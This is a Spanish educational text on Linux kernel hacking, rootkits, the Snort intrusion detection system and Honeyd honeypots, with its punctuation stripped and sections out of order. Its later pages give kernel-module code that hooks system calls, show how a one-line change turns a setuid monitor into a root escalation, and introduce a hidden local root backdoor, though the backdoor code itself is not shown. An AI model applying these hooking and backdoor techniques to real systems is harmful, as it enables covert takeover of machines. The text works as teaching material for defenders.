carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore

La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes

Adore ~034 SucKIT Adore-ng gt=131

Interceptando el flujo de ejecucioacuten

Syscalltable Syscall handler VFS

Transferencia coacutedigo dentro del Kernel

LKM Acceso directo (raw shycrudo) a memoria

LKM

Incluye puerta trasera - Siacute -

Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs

Tabla Comparativa de algunos rootkits

Medidas de proteccioacuten y deteccioacuten de rootkits

Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas

Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten

Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap

linux head Systemmap

00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt

Kernel hacks y seguridad JMP

Otros meacutetodos tiacutepicos

Checksums de ficheros importantes (tripwire aide etc)

Backup de las estructuras centrales del kernel (kstat)

LKMs anti-rootkit

Herramientas forenses (TCT)

Analisis de logs etc

Utilidades para la deteccioacuten (rkhunter chkrootkit)

Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas

httpwwwchkrootkitorg

httpwwwrootkitorg

Conclusiones

Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante

Kernel hacks y seguridad JMP

Snort el cerdito valiente

SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red

Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias

Wreski y Christopher Pallack en Linuxsecuritycom

ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated

Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular

root emerge -pv snort

These are the packages that I would merge in order

Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB

Total size of downloads 0 kB

No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL

httpwwwsnortorgdl

Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio

2- Configuracioacuten baacutesica de Snort

Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de

Kernel hacks y seguridad JMP

Snort Dicho fichero se puede encontrar en

etcsnortsnortconf

pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro

Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso

El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria

Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero

1 Establecer las variables para nuestra red

2 Configurar el preprocesador de Snort

3 Configurar los plugins de salida

4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort

5 Personalizar nuestro set de reglas para Snort

La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea

Paso 1

Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario

Kernel hacks y seguridad JMP

var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS

Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes

var HOME_NET 1921681124

Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo

var EXTERNAL_NET any

Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay

var DNS_SERVERS $HOME_NET

var SMTP_SERVERS $HOME_NET

[]

Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten

var HTTP_PORTS 80 var BO-BACKDOOR 31337

var NO_SSH 22 include mis_directivasrules

Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar

config detection search-method lowmem

Paso 2

Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas

Por ejemplo preprocessor frag2

Kernel hacks y seguridad JMP

preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies

Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo

preprocessor stream4 detect_scans

preprocessor stream4_reassemble

Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados

A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto

Paso 3

Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema

Paso 4

Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados

Paso 5

Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo

3- Descargando nuevas reglas desde Internet

Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es

httpwwwsnortorgrules

yo

Kernel hacks y seguridad JMP

httpwwwsnortorgpub-bindownloadscgi

Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar

Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto

4- Prevencioacuten de intrusiones

Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort

Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ

Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway

httpsnort-inlinesourceforgenet (configure - -enable-inline)

Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado

Kernel hacks y seguridad JMP

Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red

httpwwwsnortsamnet

5- Usando ACID + SNORT

Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web

Kernel hacks y seguridad JMP

La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten

httpacidlabsourceforgenet

La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo

Luego necesitaremos a ser posible

Apache soporte GD OpenSSL MySQL

PHP soporte GD OpenSSL MySQL

MySQL

ACID soporte adodb jpgraph phplot GD

Y claro esta Snort con soporte para MySQL

Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios

Ejemplo

$ mysql -u root -p

mysql gt CREATE DATABASE snort

mysql gt GRANT ALL ON snort to rootlocalhost identified by password

$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort

Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias

Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid

Alert DB connection parameters

Kernel hacks y seguridad JMP

- $alert_dbname MySQL database name of Snort alert DB

- $alert_host host on which the DB is stored

- $alert_port port on which to access the DB

- $alert_user login to the database with this user

- $alert_password password of the DB user

This information can be gleaned from the Snort database

output plugin configuration

$alert_dbname = snort_log

$alert_host = localhost

$alert_port =

$alert_user = root

$alert_password = mypassword

Archive DB connection parameters

$archive_dbname = snort_archive

$archive_host = localhost

$archive_port =

$archive_user = root

$archive_password = mypassword

Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort

Kernel hacks y seguridad JMP

Creacioacuten de reglas propias para Snort

Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones

CABECERA

Accioacuten de la regla alert

Protocolo tcp udp

Direccion IP origen $EXTERNAL_NET

Puerto IP origen any

Direccion IP destino $HOME_NET

Puerto IP destino any

Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)

OPCIONES

Mensaje ldquohola directivardquo

Opciones flags Aack 0 reference

Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)

El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort

Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg

Conclusiones

Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro

Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales

Kernel hacks y seguridad JMP

Honeypots

Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos

Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema

Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P

net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1

Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2

De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto

httpwwwhoneydorg

httpwwwcitiumicheduuprovoshoneyd

Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd

Config file for etcinitdhoneyd

Set Network addressHONEYD_NET=10001

HONEYD_IF=lo

HONEYD_LOG=varloghoneydlog

Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs

Kernel hacks y seguridad JMP

Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints

-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc

Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc

Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en

httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)

2- Creando sistemas virtuales

Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)

Su contenido se muestra a continuacioacuten

route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024

Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset

create default set default default tcp action block set default default udp action block set default default icmp action block

create router

Kernel hacks y seguridad JMP

set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl

bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42

De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto

Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc

3- Otros usos

Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot

Listado de programas yo utilidades para el anaacutelisis de redes y auditorias

acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace

Kernel hacks y seguridad JMP

dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli

Conclusiones

Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto

ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo

Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G

Kernel hacks y seguridad JMP

BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET

kernel hacks

Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo

Coacutedigo fuente de ldquoAdore-ngrdquo

Material de las conferencias del ldquoHackandalusrdquo hackmeeting

HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo

Kernelnewbies httpeskernelnewbiesorg

Internet Relay Chat en ircfreenodenet

Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo

httpwwwomninerdcom20051122articles43

Phrack ldquoHiding Out Under Unixrdquo

Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten

Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap

Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)

Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg

Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm

Snort NIDS

Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID

OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004

Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo

Honeyd

Documentacioacuten del propio programa y web oficial (honeydorg)

Kernel hacks y seguridad JMP

Page 10: Kernel, Hacks y Seguridad en Linux - Rootkits, IDS y Honeypots

Kernel hacks y seguridad JMP

4- Sys_call_table[] en kernels 22 y 24

Ha llegado el momento en el que necesitamos tirar de las llamadas al sistema (syscalls) para nuestras intenciones de manera que las vamos a declarar en nuestro moacutedulo

extern void sys_call_table[]

Con eso ya es posible acceder al vector que sirve de contenedor para saber doacutende tenemos que saltar en la memoria al realizar llamada Nadie dice que no podamos usar nosotros ese vector y enganchar (hook) literalmente una rutina que se ejecutariacutea en lugar de la supuesta syscall a la que se llamo -)

Listado 3

1 define MODULE 2 define __KERNEL__ 3 include ltasmunistdhgt 4 include ltlinuxversionhgt 5 include ltlinuxkernelhgt 6 include ltlinuxmodulehgt 7 extern void sys_call_table[] 8 long ( hook_chmod)(const char fichero) 9 10 long mi_chmod(const char fichero) 11 printk([] CHMOD inhibidon) 12 return 0 13 14 15 16 int init_module() 17 printk(LKM Listo y funcionandon) 18 hook_chmod=sys_call_table[__NR_chmod] 19 sys_call_table[__NR_chmod]=mi_chmod 20 printk(SYS_chmod 0xpnhook_chmod) 21 return 0 22 23 24 25 int cleanup_module() 26 printk(Descargandon) 27 sys_call_table[__NR_chmod]=(void )hook_chmod 28 29 30 MODULE_LICENSE(GPL) 31 MODULE_AUTHOR(Jose Miguel Porcel G) 32 MODULE_DESCRIPTION(Ejemplo de hook anula chmod)

Si ahora un usuario intenta hacer chmod para modificar los atributos de un fichero por ejemplo chmod a+rx fichero podraacute observar como no surge ninguacuten tipo de efecto no se procesa la verdadera syscall de chmod sino la suplantada y por tanto se mostraraacute el mensaje por pantalla indicando el evento

El funcionmiento se explica a continuacioacuten

Kernel hacks y seguridad JMP

Resulta que he creado un puntero a una funcioacuten (man chmod) de manera que al inicializar el LKM he guardado en hook_chmod la direccioacuten de la syscall __NR_chmod original dentro del vector con el fin de poder restaurarla al descargar el moacutedulo (queremos seguir usando el verdadero chmod despueacutes de jugar P) y a continuacioacuten hemos redireccionado __NR_chmod a la direccioacuten de memoria donde tenemos nuestra funcioacuten (mi_chmod) de manera que cuando el sistema accede a __NR_chmod procesaraacute la rutina mi_chmod en lugar de la verdadera funcioacuten chmod de ahiacute que no tenga efecto el comando chmod mientras tengas el LKM cargado

iquestDe doacutende se sacan los nombres de las syscalls Basta con mirar ltasmunistdhgt

$cat usrsrclinuxincludelinuxasmunistdh|less

Alliacute encontramos parejas de syscalls y nuacutemero identificador chmod es la 15 en mis fuentes Si ademaacutes tienes algo maacutes de tiempo yo sugiero echar otro vistazo a usrsrclinuxincludelinuxsyscallsh

Si podemos referirnos a las syscalls con __NR_ es porque usamos ltasmunistdhgt

Ahora muestro otro listado para ilustrar como podemos reservar y liberar memoria en el espacio del kernel mediante kmalloc() y kfree() asiacute como la manera de pasar datos desde el espacio de usuario a la memoria del nuacutecleo y al reveacutes gracias a las funciones __generic_copy_from_user y __generic_copy_to_user respectivamente memset se utiliza para llenar la memoria con un byte constante y GFP_KERNEL indica el tipo de asignacioacuten de memoria para el nuacutecleo

Lo que hace es simplemente manipular la syscall rename para que siempre se renombre por jmphack al hacer mv origen destino hay que procurar no sobrescribir ficheros y descargar el moacutedulo cuando se haya visto que funciona usando rmmod

La nueva cabecera antildeadida aquiacute para los tratamientos mencionados justo arriba viene a ser ltlinuxmmhgt

1 define MODULE 2 define __KERNEL__ 3 include ltlinuxversionhgt 4 include ltlinuxkernelhgt 5 include ltasmunistdhgt 6 include ltlinuxmodulehgt 7 include ltlinuxmmhgt

sigue listado 4

Kernel hacks y seguridad JMP

continuando listado 4

8 extern void sys_call_table[] 9 int (hook_mv)(const char desde const char hasta) 10 11 int mi_mv(const char desde const char hasta) 12 char kbuff1=(char )kmalloc(strlen(desde)+1 GFP_KERNEL) 13 memset(kbuff1 0 strlen(desde)+1) 14 importante no dejarnos el +1 del final sino la liamos 15 __generic_copy_from_user(kbuff1 desde strlen(desde)+1) 16 __generic_copy_to_user(hastajmphack) 17 kfree(kbuff1) 18 return((hook_mv)(desde hasta)) 19 20 21 int init_module() 22 printk(LKM cargadon) 23 hook_mv=sys_call_table[__NR_rename] 24 sys_call_table[__NR_rename]=mi_mv 25 return(0) 26 27 28 void cleanup_module() 29 printk(LKM descargadon) 30 sys_call_table[__NR_rename]=hook_mv 31 32 MODULE_LICENSE(GPL) 33 MODULE_AUTHOR(Jose Miguel Porcel G) 34 MODULE_DESCRIPTION(Hook a rename())

Hasta el momento todos los ejemplos que estoy poniendo tienen una utilidad bastante absurda (son para explicar algunas cosas) pero uno se puede dar cuenta de la potencia de un LKM de cara a su uso en sistemas comprometidos no resulta complicado averiguar como trabaja el sistema con los procesos los ficheros y demaacutes para poder - por ejemplo - ocultar un fichero o incluso el propio moacutedulo en la memoria todo esto y algo maacutes lo vemos a continuacioacuten

Kernel hacks y seguridad JMP

5- Protegiendo el UID 0

Tendiendo en cuenta todo lo explicado por el momento en este texto y lo visto en la asignatura de sistemas operativos hasta ahora sabemos que el uid0 se corresponde al id de root (usuario privilegiado) y que al explotar ciertas vulnerabilidades es necesario en algunos casos usar setuid() para establecer privilegios de root En el siguiente coacutedigo se ilustra como evitar que se use setuid(0) por usuarios distintos a root todo debidamente monitoreado esto permite en ciertos casos sumar un punto a la seguridad del sistema

Cabe destacar que el LKM que se muestra es para la serie 24 y habraacute que adaptarlo despueacutes para la serie 26 no obstante solamente habraacute que esperar un poco antes de ver eso

1 define MODULE 2 define __KERNEL__ 3 include ltasmunistdhgt 4 include ltlinuxschedhgt 5 include ltlinuxversionhgt 6 include ltlinuxkernelhgt 7 include ltlinuxmodulehgt 8 extern void sys_call_table[] 9 long ( hook_suid)(uid_t uid) 10 11 long nosuid(uid_t uid) 12 13 int res 14 if (current-gtuid ampamp uid) 15 printk([ALERTA] Ejecutado setuid 0 desde un usuario no rootn) 16 printk(info PID(i) PGRP(i) EUID (i i) =gt i

[DENEGADO]n17 current-gtpid 18 current-gtpgrp 19 current-gteuid 20 current-gtuid 21 uid) 22 res=( hook_suid)(current-gtuid) 23 24 res=( hook_suid)(uid) 25 26 int init_module() 27 printk(LKM Listo y funcionandon) 28 hook_suid=sys_call_table[__NR_setuid32] 29 sys_call_table[__NR_setuid32]=nosuid 30 return 0 31 32 33 int cleanup_module() 34 printk(Descargandon) 35 sys_call_table[__NR_setuid32]=hook_suid 36 37 MODULE_LICENSE(GPL) 38 MODULE_AUTHOR(Jose Miguel Porcel G) 39 MODULE_DESCRIPTION(Controla setuid 0)

Kernel hacks y seguridad JMP

Insertamos el moacutedulo y probamos

root su linux linux$ su root linux$ tail varlogmessages

La novedad en el coacutedigo anterior es en primer lugar que el coacutedigo es ligeramente maacutes uacutetil P y luego que he usado current para referirnos a nosotros mismos es decir al proceso en ejecucioacuten en un instante determinado es por eso que he incluido ltlinuxschedhgt Si miramos ahiacute dentro tenemos una gran estructura task_struct que caracteriza a un proceso no la muestro aquiacute porque es un poco grande como para reproducirla ahora

Modificando el coacutedigo anterior ligeramente justo en la liacutenea 22 por

res=( hook_suid)(0)

hacemos que un usuario no privilegiado pase a elevar sus privilegios sin maacutes

En el siguiente apartado hacemos algo maacutes serio se trata de un backdoor para los nuacutecleos de la serie 24 y que luego adaptareacute tambieacuten a la serie 26 con todo lo que eso conlleva Para ello vamos a manipular la syscall SYS_KILL creando un nuevo ldquosignalrdquo que seraacute muy especial -)

Otra utilidad para SYS_KILL seriacutea evitar que usuarios sin privilegios puedan matar procesos ajenos o incluso podemos proteger procesos de sentildeales (como kill -9) frente a cualquier usuario privilegiado o no

Kernel hacks y seguridad JMP

6- Backdoor local para kernels 24x

Con todo lo visto en los coacutedigos de arriba estaacute totalmente tirado hacer una puerta trasera en el sistema para asegurarnos privilegios de root de hecho un LKM es una forma muy elegante de hacerlo

En el siguiente listado veremos un moacutedulo que daraacute privilegios efectivos de root (euid=0) al user que intente mandar la sentildeal -0 mediante kill a un proceso con un pid determinado por COOLPID - aquiacute con poco sentido poner 00000 = 0 - bastaraacute con ejecutar lo siguiente

linux$ kill -0 00000 (al hacer id vemos que ocurre)

por supuesto no nos interesa que nadie sepa que tenemos un moacutedulo cargado (hacer lsmod y ver ldquobackdoorrdquo canta un poco) por lo que al inicializar la carga del mismo haremos que desaparezca el como lo explico a continuacioacuten despueacutes de mostrar un poco el coacutedigo que aunque estaacute claro que es infinitamente mejorable como ejemplo es perfecto

Kernel hacks y seguridad JMP

